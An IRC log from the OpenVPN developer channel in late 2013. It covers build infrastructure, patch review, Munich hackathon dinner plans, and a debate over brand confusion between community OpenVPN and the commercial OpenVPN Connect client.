buildmaster 07:49 <@mattock> thanks 08:06 <@mattock> there had been a change between buildbot 0.8.5 and 0.8.6 that required forced builds to be enabled separately 08:06 <@mattock> I triggered a build on one builder now, and if it goes well, I'll start the rest of the builds 08:21 <@cron2_> obsd49 is building \o/ 08:36 <@cron2_> plaisthos: are you around? 08:40 <@ecrist> mattock: how do I get the debian sources so I can build kernel modules? 08:40 <@ecrist> apt-get install source or something? 08:40 <@mattock> ecrist: lemme check 08:40 <@ecrist> kernel sources, specifical 08:41 <@ecrist> ok 08:41 <@mattock> http://kernel-handbook.alioth.debian.org/ch-common-tasks.html 08:41 <@vpnHelper> Title: Debian Linux Kernel Handbook - Common kernel-related tasks (at kernel-handbook.alioth.debian.org) 08:41 <@mattock> that looks fairly up-to-date 08:41 <@ecrist> heh, I just found that page 08:42 <@mattock> you definitely want to create a customized debian package for the kernel, or you'll end up in trouble 08:42 <@ecrist> what do you mean? 08:42 <@mattock> it would be possible to just build the kernel and install it, but that could cause issues when official kernels are upgraded 08:42 <@mattock> I mean, playing nice with the package management 08:42 <@ecrist> oh, I'm keeping the default kerenl 08:42 <@mattock> is they way to go forward :) 08:42 <@ecrist> I'm just buliding a kernel module from source 08:43 <@mattock> you just need to rebuild a module? 08:43 <@mattock> ok 08:43 <@mattock> you should be able to do that with the kernel headers 08:43 <@ecrist> because debian is WAY behind in their repo for some things 08:44 <@mattock> debian 7? 08:44 <@ecrist> I really love our new DC. we've got 1Ge to an akamai cluster, so, for the 5.8G OS X upgrade yesterday, I stooped by the DC to do the download 08:44 <@ecrist> took like 6 minutes 08:44 <@ecrist> yeah 08:44 <@mattock> you should check out debian backports 08:45 <@mattock> http://backports.debian.org/ 08:45 <@vpnHelper> Title: Debian Backports (at backports.debian.org) 08:45 <@mattock> that helps avoid having to build stuff manually 08:46 <@mattock> hmm, 5.8 gigs in 6 mins 08:46 <@mattock> not bad :) 08:47 <@ecrist> we *can* upgrade that link to 10Ge for the simple cost of optics 08:48 <@ecrist> but, there's no great reason to do so 08:48 <@ecrist> yet 08:48 <@cron2_> ecrist: meh, my office links are only 100Mbit, so I'd need 10x that time - even if the path to our nearest akamai cluster is 1G as well :-) 08:50 <@mattock> no buildbot build failures yet, good 09:45 <@plaisthos> cron2_: I am arround now 10:22 <@cron2_> plaisthos: as for the http headers - feature-ack, but codewise, I'd ask for a few improvements :-) - do you want it here or by mail? 10:26 <@plaisthos> cron2_: either works for me 10:29 <@cron2_> reviewing it, I had two things that suggested "can't we do this differently?" - one is variable naming, "hostheadercustom" does not ring a bell for me, but "host_header_seen" would... 10:33 <@cron2_> the other one is: if it's not a requirement that "Host:" is the first header we send (RFC2616 does not specify such, so I'd assume "it does not have to be"), the check for "have we seen a Host" header would nicely fit into the "send the custom headers" loop, so we won't have to loop twice 10:36 <@d12fk> hm, i get a bad packet ID error on a tcp ovpn connection 10:36 <@d12fk> how could that have happened? 10:40 <@cron2_> openvpn said "bad packet ID"? maybe some bit rot on the way? 10:40 <@cron2_> oh 10:40 <@cron2_> openvpn-over-tcp 10:40 <@cron2_> no, that should not happen 10:42 <@d12fk> only when the sender messed this up in the first place imo 10:42 <@cron2_> DRAM bit rot on either end? borked openssl? just guessing 10:43 <@d12fk> broken ram on the server side would most likely fail the hmac 10:43 <@d12fk> serve -> receiver 10:43 <@d12fk> guess i'll have to take a closer look 10:44 <@cron2_> is this happening regularily, or just "once, never again"? 10:44 <@d12fk> i've been told regularily but need to see it with my own eyes 10:50 <@plaisthos> cron2_: I will fix these things and send a new patch 10:51 <@plaisthos> thanks for looking at the patch 10:55 <@d12fk> cron2_: re food @ hackathon 10:56 <@d12fk> how expensive is munich foodwise 10:59 <@d12fk> i know it depends on where you go, but what's the number for a place we'd go 11:01 <@d12fk> http://www.andechser-am-dom.de/de/speisekarte/ looks very reasonably priced compared to the rates for appartments 11:01 <@vpnHelper> Title: Speisekarte - Andechser am Dom (at www.andechser-am-dom.de) 11:03 < syzzer> yes, very reasonable : ) 11:04 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [] 11:04 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 11:04 <@d12fk> http://www.augustiner-bergmannshof.de/tageskarte.php 11:04 <@vpnHelper> Title: Augustiner Bergmannshof (at www.augustiner-bergmannshof.de) 11:39 <@mattock> cron2: zero build failures, incredible 11:58 <@mattock> cron2: let me know when you're about to push changes to Git... I'd like to verify buildmaster actually catches them 12:25 <@cron2_> d12fk: well, it of course depends on how pochy you're going to get. Things like "starters, reasonable main course, sweets, some wine/beer with it" would normally run up to 40-50 EUR - "just main course and a beer" more in the "20-25 EUR" range 12:25 -!- raidz_away is now known as raidz 12:27 <@cron2_> mattock: will do. Right now I have few already-ACKed patches... 12:27 <@d12fk> cron2_: we'll manage, do you have any recommendations yet or should we end up at an augustiner? 12:27 <@cron2_> never been to bergmannshof, but augustiner in general is good 12:28 <@cron2_> their pricing seems very reasonable 12:28 <@d12fk> just picked random bavarian places nearby 12:30 <@cron2_> meh 12:30 <@cron2_> the restaurant I was thinking about does not exist anymore :( 12:31 <@cron2_> another place I know which is fairly quickly reached by s-bahn is http://www.weisses-brauhaus.de/ 12:32 <@cron2_> usually *quite* full, and service is sometimes not exactly overwhelming, but the food is great - somewhat of a tourist trap, though, and more expensive 12:35 <@cron2_> d12fk: so if you want a bavarian place, I think the bergmannshof might be nice. Or that one: http://www.augustinerkeller.de/ - this one I have tested, it *is* good :-) 12:35 <@vpnHelper> Title: Home - Augustiner Keller München (at www.augustinerkeller.de) 12:37 <@d12fk> augustiner bräustuben is at landsberger 19 12:38 <@d12fk> ranking 21st at restaurant-kritik.de 12:38 <@cron2_> still walking distance (~15 minutes) - fine with me :) 12:39 <@d12fk> the keller is not nuch further though 12:40 <@d12fk> .. and is at 17th. let's stick with the one you know 12:40 <@cron2_> heh :-) 12:41 <@cron2_> there is also this one: http://www.cafe-westend.com - which is in the same vicinity, just south of landsberger str. - but that's not "bavarian" but "international + texmex" 12:41 <@vpnHelper> Title: Westend Cafe München (at www.cafe-westend.com) 12:42 <@d12fk> good for the other night 12:42 <@cron2_> thought so :-) - but I'll leave that to andj, maybe he has other recommendations 12:43 <@d12fk> so, bavarian on fri or sat? 12:43 <@cron2_> oh, interestring, weisses bräuhaus is at #5 12:44 <@cron2_> d12fk: I'm fine either way - weisswurstfrühstück will be sat, so maybe that's the bavarian day, then? :) 12:45 <@d12fk> lets do a bavarian day then =) 12:46 <@mattock> white sausage breakfast? 12:46 <@cron2_> mattock: yep 12:46 <@d12fk> schneider would be nice to see a litte of munich as well 12:46 <@mattock> do you guys eat sausage for breakfast? :P 12:46 <@cron2_> d12fk: oh, interesting. #11 is in walking distance from where I live :) 12:46 <@cron2_> mattock: we do, but it's more a "late second breakfast around 11" 12:46 <@d12fk> with sweet mustard and beer 12:47 <@mattock> brunch 12:47 <@mattock> ein bier, bitte 12:47 <@mattock> und leitungswasser 12:47 <@cron2_> mattock: bier will be provided (but only non-alcoholic) 12:48 <@mattock> is it any good? 12:48 <@d12fk> in bavaria you order "a helles, bittschee" 12:48 <@mattock> and what would I get with that? 12:48 <@d12fk> beer 12:49 <@mattock> ok, that's useful 12:50 <@d12fk> i think you might get a liter in some places unless you order a small one, but that might be rumors 12:50 <@d12fk> havent been to bavaria in beer drinking age 13:19 <@cron2_> well, a "normal beer" is 0.5l, a "small" is 0.3 - and there is "a mass!", which is 1.0l - but in normal restaurants, this is normally not served 15:51 -!- mattock is now known as mattock_afk 15:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 16:01 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:01 -!- dazo_afk is now known as dazo 20:09 -!- raidz is now known as raidz_away 21:11 -!- novaflash is now known as novaflash_away 21:11 -!- novaflash_away is now known as novaflash --- Day changed Fri Oct 25 2013 03:10 * cron2_ likes plaisthos' v4 :-) 03:11 <@cron2_> need to look more closely when I shouldn't be doing paid-for work elsewhere, but half-ack already :) 03:16 <@d12fk> cron2_: hm schneider seems to be booked on fri and sat, at least their web calender is grayed out for these days 03:54 <@cron2_> schneider? 04:00 <@d12fk> weisses bräuhaus is owned by schneider 04:01 <@cron2_> ah, that. I thought we want Augustinerkeller? 04:01 <@cron2_> weisses bräuhaus tends to be "full, bad service" (authentic bavarian service personnel) 04:02 <@plaisthos> cron2_: so they will throw you out if you talk with Berlin's accent? *duck* 04:02 <@cron2_> plaisthos: sometimes they are extremely grumpy, and I'm not sure if this isn't show "because the tourists expect this" 04:05 <@d12fk> münchner grantler 04:05 <@d12fk> aloisius style 04:06 <@cron2_> yep 05:48 <@d12fk> cron2_: augustiner keller is booked as well 06:03 <@cron2_> online only, or have you called as well? 06:37 <@d12fk> havent called 06:38 <@d12fk> do you think there's a better chance to get a table on the fon? 06:47 <@d12fk> aha, booking ba the fon works better, seems the internets is really just for lolcats 06:47 <@d12fk> sat nov 16th 2000h augustinerkeller 06:48 <@d12fk> bavarian saturday ftw! 06:59 <@plaisthos> As long their Internet page is better than the one of Pizza Blitz (http://www.der-pizza-blitz.de/) 06:59 <@vpnHelper> Title: willkommen beim pizza-blitz (at www.der-pizza-blitz.de) 07:02 <@d12fk> wow 07:05 < waldner> faxbestellen, latest and greatest tech 07:05 <@plaisthos> waldner: they have a second web page: http://www.pizzablitzpaderborn.de/ 07:06 <@vpnHelper> Title: • Pizza Blitz Paderborn | Pizza günstig online bestellen! (at www.pizzablitzpaderborn.de) 07:06 <@plaisthos> which also supports normal online orders ... 07:06 < waldner> ah, that's a bit better indeed 07:06 <@plaisthos> and a third one (http://www.pizzablitz-paderborn.de/) with yet another online shop 07:06 <@vpnHelper> Title: Pizza-Blitz Paderborn - Aus Freude am Essen! - Italienische Pizza, Italienisch, Griechisch, Gebäck, Deutsche Gerichte bestellen (at www.pizzablitz-paderborn.de) 07:07 <@plaisthos> (You know from the crappy logo that that is the same Pizza shop) 07:07 < waldner> yes, scanned from the paper 07:20 <@d12fk> http://www.myvideo.de/watch/5805657/Paolo_mit_dem_Pizzablitz comes to mind 07:20 <@vpnHelper> Title: Paolo mit dem Pizzablitz Video - SmashingView - MyVideo (at www.myvideo.de) 07:22 <@plaisthos> wtf! 10:05 <@ecrist> wtf indeed 10:56 -!- raidz_away is now known as raidz 11:23 -!- mattock_afk is now known as mattock 13:26 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 14:49 <@vpnHelper> Announcement from my owner (support): woohoo 14:49 <+krzee> lol 14:49 <+krzee> i didnt know he could do that :D 14:50 <@mattock> I hear new forums server is online 14:51 <+krzee> it is 14:56 <@mattock> nice 14:57 <@mattock> is ipv6 also working as expected? 14:59 * krzee deflects to someone who uses ipv6 15:00 <@cron2_> Trying 2001:470:1f04:465::2... 15:00 <@cron2_> Connected to forums.openvpn.net. 15:00 <@cron2_> "seems to work" 15:01 <@mattock> nice! 15:01 <@mattock> let me or raidz know if it's too slow to use 15:01 <@mattock> it can be upgraded easily 15:01 <+krzee> was that telnet6? :D 15:02 <@mattock> probably 15:03 <@cron2_> just telnet :-) but yes. It does work in a web browser as well, but that's harder to copy-paste toIRC 15:03 <+krzee> =] 15:03 <@ecrist> glad it's working for you, cron2_ 15:04 <@ecrist> I *did* test it 15:32 -!- mattock is now known as mattock_afk 17:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 17:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 19:57 -!- raidz is now known as raidz_away 22:28 -!- novaflash is now known as novaflash_away 22:28 -!- novaflash_away is now known as novaflash --- Day changed Sat Oct 26 2013 01:35 -!- mattock_afk is now known as mattock 03:47 -!- mattock is now known as mattock_afk 04:28 -!- Zapelius [~zapelius@a88-114-69-151.elisa-laajakaista.fi] has quit [Ping timeout: 256 seconds] 05:55 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 19:20 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Ping timeout: 248 seconds] 19:40 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 20:08 -!- Netsplit *.net <-> *.split quits: jamxNL --- Day changed Sun Oct 27 2013 05:27 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 05:33 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 05:36 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 05:36 -!- dazo_afk is now known as dazo 06:00 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel --- Day changed Mon Oct 28 2013 03:11 -!- mattock_afk is now known as mattock 07:55 <@mattock> ah... freight is _so_ much easier than reprepro for creating and managing apt repos 07:56 <@mattock> this one: https://github.com/rcrowley/freight 07:56 <@vpnHelper> Title: rcrowley/freight · GitHub (at github.com) 08:49 <@cron2_> mattock: *wow* 09:11 < waldner> that might also be useful to me, thanks 09:29 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:29 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:40 <@mattock_> tue nmdvpn thing looks so silly 09:41 <@mattock_> it's 100% secure and has no bugs or problems 09:50 <@mattock_> as it's based on openvpn, then the same must apply to openvpn, too 09:53 <@mattock_> somebody mentioned that seed.st might be violating openvpn's gplv2 license... any particular reason for that suspicion? Looks like yet another openvpn VPN provider... 10:03 < waldner> "100% times better than OpenVPN" 10:03 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 10:09 <@mattock> waldner: yes, that also 10:14 < waldner> and it looks like crap, besides 10:15 < waldner> mentioned in warez forums and downloads on mediafire etc 10:19 <@mattock> doesn't look like a very serious GPL violator 10:19 <@mattock> I also checked Viscosity (a commercial OpenVPN client for OSX / Windows) 10:20 <@mattock> the only somewhat suspicious thing on the surface was the support for MacOS X keychain and Windows certificate store 10:20 <@mattock> I'm not 100% sure what the support status of those is in the stock openvpn 10:21 <@mattock> if I recall correctly OSX keychain support is available as a patch, but has not been merged 10:21 <@mattock> not sure about Windows certificate store 10:22 <@mattock> dazo: it seems that the EPEL repos are shipping openvpn 2.3.2 10:23 <@mattock> I'm wondering if it makes any sense at all (for me) to provide OpenVPN RPMs 10:23 <@mattock> Debian/Ubuntu are so far behind that handing out stable openvpn releases for them is useful 11:37 <@plaisthos> mattock: windows cert store is in the official version 11:37 <@plaisthos> mattock: our university uses it since we use the same certificate for EAP-TLS WiFi authentication 11:40 <@plaisthos> mattock: nmdvpn is also the software which implements the custom header thing ... 11:47 <@mattock> plaisthos: ok 11:47 -!- raidz_away is now known as raidz 11:48 <@mattock> somebody also mentioned the openvpn.dll thing in seed.st vpn client 16:44 -!- mattock is now known as mattock_afk 20:32 -!- raidz is now known as raidz_away --- Day changed Tue Oct 29 2013 01:28 -!- Netsplit *.net <-> *.split quits: @raidz_away 01:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:53 -!- mattock_afk is now known as mattock 05:25 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has quit [Ping timeout: 245 seconds] 06:05 -!- novaflash is now known as novaflash_away 07:19 -!- novaflash_away is now known as novaflash 12:36 -!- novaflash is now known as novaflash_away 12:42 -!- novaflash_away is now known as novaflash 15:26 -!- mattock is now known as mattock_afk 16:07 -!- Netsplit *.net <-> *.split quits: mrrg 16:14 -!- mrrg [~notabot@delicious.sykosys.jp] has joined #openvpn-devel 18:53 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 18:54 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 18:58 -!- Netsplit *.net <-> *.split quits: @d12fk --- Day changed Wed Oct 30 2013 01:45 -!- raidz is now known as raidz_away 01:50 -!- raidz_away is now known as raidz 01:55 -!- mattock_afk is now known as mattock 02:42 -!- raidz is now known as raidz_away 03:38 -!- cron2_ is now known as cron2 03:38 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:38 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:22 -!- raidz_away is now known as raidz 13:04 -!- raidz is now known as raidz_away 13:04 -!- raidz_away is now known as raidz 13:29 -!- raidz is now known as raidz_away 13:39 -!- raidz_away is now known as raidz 13:40 -!- raidz is now known as raidz_away 13:42 -!- raidz_away is now known as raidz 13:51 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn-devel 22:48 -!- mattock is now known as mattock_afk --- Day changed Thu Oct 31 2013 04:35 -!- novaflash is now known as novaflash_away 09:34 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 09:50 -!- mattock_afk is now known as mattock 12:42 -!- vijay [~vijay@123.63.36.218] has joined #openvpn-devel 12:43 < vijay> Need some info regaring the openvpn setup 12:43 < vijay> Hey there... 12:43 < vijay> I am not able to connect to the Access Server 12:44 < vijay> Can someone help me in connecting to it 12:50 <@ecrist> !as 12:50 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server 12:55 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: So, if you expect the unexpected, you'll get what you expect?] 13:25 -!- Netsplit *.net <-> *.split quits: @raidz 14:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:18 -!- ServerMode/#openvpn-devel [+o raidz] by holmes.freenode.net 14:52 -!- vijay [~vijay@123.63.36.218] has quit [Quit: Leaving] 17:22 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 17:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:27 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:57 -!- mattock is now known as mattock_afk 18:07 -!- mattock_afk is now known as mattock --- Day changed Fri Nov 01 2013 02:50 -!- mattock is now known as mattock_afk 03:03 -!- mattock_afk is now known as mattock 03:58 -!- Netsplit *.net <-> *.split quits: mrrg 05:42 -!- mattock is now known as mattock_afk 09:50 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 267 seconds] 09:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 09:58 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:04 -!- mattock_afk is now known as mattock 12:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 12:49 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:24 <@pekster> Ugh, I've never actually seen the "OpenVPN Connect Client" screenshots before. The title window calls itself "OpenVPN Client" -- how utterly confusing for users. This sucks. 13:46 <@plaisthos> Yeah. 13:48 <@pekster> That combined with the lousy "Joomla" BS on the corp site that I've been told "can't" properly split out the commercial/GPL stuff makes me think it's time at the very least for a completely separate community landing page 13:50 <@pekster> Long-term we've got some soul searching to do if it even makes sense to try and continue to use a copyright that's clearly being marked as a commercial VPN solution with a non-Free EULA attached to it. That's a really slimy feeling when users discover they're not using something Free/Open at all 13:50 <@pekster> marketed, that is 13:50 <@pekster> We might be "allowed" to use it, but I'm not so sure we should continue to do so 13:51 <@plaisthos> unless the community forks OpenVPN and renames itself it will probably stay this way 13:52 <@pekster> Yea, and forking to rename can be a pain, but I'm tempted to spend a bit of time getting an idea how much code would really need to be updated for that, at least initially from a userland standpoint (API names are another story) 13:53 <@pekster> Think Redhat/Fedora, except with a "Redhat" distro and "Redhat Desktop." They did the right thing by forking to a new project under them; this hasn't gone so well given the user confusion level, and that's what I'm mostly annoyed with 13:53 <@plaisthos> renaming it is not a problem from a technical standpoint 13:54 <@plaisthos> but more a personal/political... 13:55 <@plaisthos> and for Open Source it boils down if the core developers want it 13:55 <@plaisthos> which for openvpn gpl probably boils down to dazo, cron2, syzzer 13:56 <@pekster> Right 13:58 <@pekster> I'm not saying "we need to", just that we should consider what it means to be confused with a commercial product, using a copyright we don't own, and the like. If we (the dev community, and yes, specifically the core devs) are OK with those implications, that's fine. But we should define that instead of letting it happen without an activ decision 14:01 <@pekster> I don't even really mind the ties to the corp side (it's actually kind of nice that Connect is mostly wire-compat with FOSS OpenVPN -- giving users an informed choice is always good) but the product confusion really needs to be addressed. Either by saying "we don't care if users are confused, we like the status/relationship", or by figuring out what can be done to make it better 15:32 <@cron2> just a short note: I prefer not to split these days, as input from James is quite useful (... at times), and I think it is good to have a commercially supported product based on the community version. The user confusion I can see, and this should be addressed. 15:32 <@cron2> ("based on the", well, maybe make that "more or less closely related to", but it *is* wire-compatible except for new options added left or right, and we do our best to bring them together again) 15:33 <@pekster> options aren't quite there (but getting close.) The issue is more the awful labling of products 15:33 <@pekster> Running OpenVPN as a client is not the same thing as thet "OpenVPN Client" shown in a user screenshot of Connect 15:33 <@pekster> That's super-confusing, and users continue to not understand this 15:34 <@cron2> I see that. I just wanted to address the comment about "mostly wire-compat" - it should be fully wire-compat 15:34 <@pekster> Oh, right. I was referring to the options that differ, but it was worded poorly 15:35 <@cron2> On Android, it's actually reasonable - there is "OpenVPN Connect" and "OpenVPN for Android" - still confusing, but I'm not sure you can make that less confusing. The Windows and Mac versions propably should just declare themselves as "OpenVPN Connect" as well 15:35 <@pekster> At the very least, a "better" community landing page would go a long ways 15:35 <@pekster> The naming will still be super-confusing, but at least people won't "accidently download" the wrong one. I see that an awful lot in #openvpn 15:35 <@cron2> true 15:35 <@cron2> mattock: yours! 15:35 <@pekster> This is mostly the brain-dead corp-side CMS 15:36 <@pekster> I brought it up earlier and was told "not much Jooomla [the CMS] can do about it" 15:36 <@cron2> true, but mattock is the one to address it inside OpenVPN tech 15:36 <@cron2> while all CMSs suck, I'm sure it's possible to display arbitrary page content... 15:37 <@pekster> Right. The other issue is mostly about how the FOSS/EULA versions are portrayed. Right now the EULA version seems to "sell itself" as OpenVPN, when it's not at all GPL OpenVPN 15:37 <@pekster> A user linked this: http://31.151.158.2/vpn.png 15:38 <@pekster> That was my first experience seeing Connect not call itself that (I assumed it did) in which case the common-use of "this is my OpenVPN client" meaning the client-side of a GPL-setup, this could mean the non-free stuff too 15:39 <@pekster> I guess I'll bug mattock about the "easier" issue to fix of the webpage linking being utter nonsense. That'd be this, linked from the "community" link at openvpn.net: http://openvpn.net/index.php/open-source.html 15:39 <@vpnHelper> Title: OpenVPN Community Software (at openvpn.net) 15:40 <@pekster> Differnet parts of that page without clarity link to differnet things. "Downloads" in the left-hand pane goes to the FOSS stuff, but "Downlaods" tab shows "Access Server" without clarification as the first thing. A user who doesn't know the project has no clue they just "flipped" to the corp side of the CMS 15:40 <@cron2> yep, agree 15:40 <@pekster> And yea, maybe we just get a standalone .html page for the community stuff, and that "main page" button goes there. I'll even cook up a cute wiki landing page if that's what needs to be done 15:40 * cron2 is not going to defend the corp web site, not at all 15:41 <+krzee> ive been a fan of splitting the pages all together for a long long time 15:41 <@pekster> Right, I'm just not willing to settle for "corp's awful CMS" making the FOSS product look bad as a result (bad being users "accidently" getting non-free software) 15:41 <+krzee> with links back and forth of course 15:41 <@cron2> what krzee said 15:43 <@pekster> That does nothing to address the naming confusion of "OpenVPN Client" (as in the screenshot) vs an OpenVPN client 15:44 * krzee scrolls up to find the screen shot, ive never looked at that app 15:44 <@cron2> that's the next step that could be discussed - we could have a meeting again :) 15:45 <+krzee> oh god thats a windows app? 15:45 <@pekster> That's _the_ OpenVPN Connect Client 15:45 <@pekster> Except it doesn't say "Connect" :( 15:45 <+krzee> wow, its almost like the confusion is on purpose! 15:45 <@pekster> Right 15:45 <@pekster> And that's why I want to at least discuss what forking could do for clearing this up 15:46 <@pekster> Not that I'm necessarily in favor of that option now, but I want to explain this in detail and point it out as one of a few options 15:46 <@pekster> Corp is, IMO, basically abusing the copyright to intentionally confuse the market (the users at large) 15:46 <@cron2> well, of course OpenVPN Tech is profiting from their stuff being named "OpenVPN" - and I think that's fine. It could be done in a more sensible way, though 15:46 <@pekster> And since it's James' (or OVT, whoever's) copyright, they're able to do so. Again, thin k Redhat/Fedora 15:46 <+krzee> im just support so i dont feel like my vote counts for much on forking, other than to say i would happily support a well-made fork 15:47 <@pekster> Well, and I'll bring this up later too, but fork != "sever all ties with corp" -- not at all 15:47 <@pekster> It _just_ means a namechange to avoid confusion. Should that route get chosen (big if/when/if-ever there) I'd hope there's still coordination on options, on-wire changes, etc 15:48 <@pekster> Anyway, just wanted to bring some of this up, becuase that screenshot is exactly what I was worried about when I saw some of these issues come up from the userbase, and I see it more frequently thesedays 15:48 <+krzee> i think the confusion currently harms ovpn tech even? i think they would make more sales if they kept naming seperate and had banners on community page saying "dont want to setup everything by hand? let openvpn technologies make it easy" etc etc 15:48 <@cron2> I think we should convince tech to label their client "OpenVPN Connect" and be done with it - and maybe label our windows client "OpenVPN free" or so 15:49 <@cron2> krzee: good point 15:49 <+krzee> i have no problem that they wanna use the name and make $, i think that is awesome, im a capitalist myself even 15:49 <@cron2> yeah, this needs to be addressed with James and Francis, I think 15:49 <+krzee> but if they did it better for us theyd be doing it better for them too 15:49 <+krzee> less confusion helps all sides 15:50 <+krzee> openvpn and closedvpn? :D 15:50 <+krzee> hahah 15:50 <@pekster> Well, good for namespace clarification, bad for the copyright holders :P 15:51 <@pekster> And that's really my goal here: clear and distinct (and consistent!) namespaces for both products 15:51 <@cron2> +1 15:51 <@pekster> I'm not so worried about the exact solution so long as it does it 15:52 <@pekster> So, 1) I'll dialog with mattock on website options, and it sounds like there's a slight preference (from what I got thus far at least) to a landing page that is owned/managed/run by the community (wiki or not TBD, but something run "by us") 15:53 <@pekster> 2) sounds like a future meeting topic will be how we address the obvious confusion to users on "OpenVPN as a client" vs what calls itself "OpenVPN Client" 15:53 <@pekster> 3) Mabye roll into that the higher-level goal/need of distinct namespaces and product "identities" as they're expressed in user-visible parts 15:55 <@pekster> fwiw, Access Server vs OpenVPN (as a server) was done much better. Even written "OpenVPN Access Server" it's at least less-confusing (see, it's not all bad..) 15:55 <+krzee> pekster, i also like the idea of openvpn.net being corp and openvpn.org being community if possible 15:56 <+krzee> splitting it by domain could be the easiest way 15:56 <@pekster> Well, community.openvpn.net as the landing page for teh community might be better 15:56 <@pekster> NS deligation could even be completely separated (though I don't think we need/want that today) 15:57 <@pekster> I don't really favor the idea of unique tld's like that since there's no obvious way to know what it is from the URL 15:57 <+krzee> im not sure community.openvpn.net is more obvious to most people than openvpn.org would be 15:58 <+krzee> but im ok with any solution that solves 15:58 <+krzee> and i agree overall, something needs to be solved 15:58 <@pekster> Dunno, both do the same thing, but especially if it's all running on the same equipment anyway, not having to mess with things like vhosts makes infra easier 15:59 <@pekster> It's apparently hard enough to manage Joomla; let's not make hosting even harder ;) 15:59 <+krzee> lol 16:00 <@pekster> Plus we'd have the need for TLS certs on the 2nd domain, possibly new email needs... 16:00 <@pekster> List goes on 16:00 <+krzee> never thought of the tls stuff 16:00 <@pekster> Dunno, I'll toss both as options on a list I need to start (let's at least mention them both) but I see a lot of downsides and not a lot of upsides, at least today 16:01 <+krzee> your point is valid 17:05 <@mattock> ah, interesting times ahead :) 17:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 17:05 <@mattock> I've also favored a more clear split between the community and company stuff 17:06 <@mattock> that's how many other OSS projects/companies do it 17:06 <@mattock> also, Joomla sucks a lot, I agree, and the content is fairly obsolete 17:07 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 17:07 <@pekster> Yea. Naming is the point I think is harder to figure out (FOSS Redhat -> Fedora was more obvious, but I might be convinced that "OpenVPN" vs "OpenVPN Connect Client" somehow isn't confusing. Maybe.) 17:07 <@pekster> But, rather than re-start my rant on that up again, website now :P 17:07 <@mattock> I'm not at all surprised the naming thing is so confusing 17:07 <@pekster> So, do you have any thoughts on using a wiki landing page (maybe with some controls so "trusted" folks only get to edit it, not the trolls? 17:08 <@mattock> fine by me 17:08 <@pekster> Well, yea. I'm a bit outraged about the naming after seeing that screenshot (I've been annoyed for a while, but that's the catalyst for me here) 17:08 <@mattock> that would have been done probably years ago, if I had managed to convince Francis that it makes sense 17:09 <@mattock> would a friendly "fork" help? I mean, having the corporate stuff called "OpenVPN", and the community stuff something else? 17:09 <@mattock> as long as it's not "LibreVPN", lol :) 17:09 <@pekster> So, I can review the wiki options if we plan to stick with that for the forseeable future and work on cooking up a "decently pretty" looking landing page, seed out some comment/review/ (editors welcome at that point!) and see if we can touch it up to flip the community landing over 17:09 <@pekster> Well, that's what I was hinting at earlier, yes 17:09 <@pekster> I really do what to emphasize that this isn't necessarily a corp/community "split" becuase ideally what I want is _completely_ separate namespaces with proper coordination 17:10 <@mattock> yeah 17:10 <@pekster> The codebase is already separate today, so why on earth are we pretending that "OpenVPN Client" is somehow not confusing to a first-day user 17:10 <@mattock> it will also be interesting to see what comes of the s.c. OpenVPN 3.0 that was written by James a while back 17:11 <@pekster> Yea, though companies that might have come to trust the code/process/review of the 2.x stuff won't be so quick to hop on that train 17:11 <@mattock> I mean, I don't see how there could be any form of clean migration to it, even it made technical sense 17:11 <@pekster> Dunno how many 100k's/millions of lines of code that is, for instance 17:11 <@mattock> due to the CLA thing among others 17:11 <@mattock> I believe it's about half the size of 2.x codebase or so 17:11 <@pekster> And entirely new 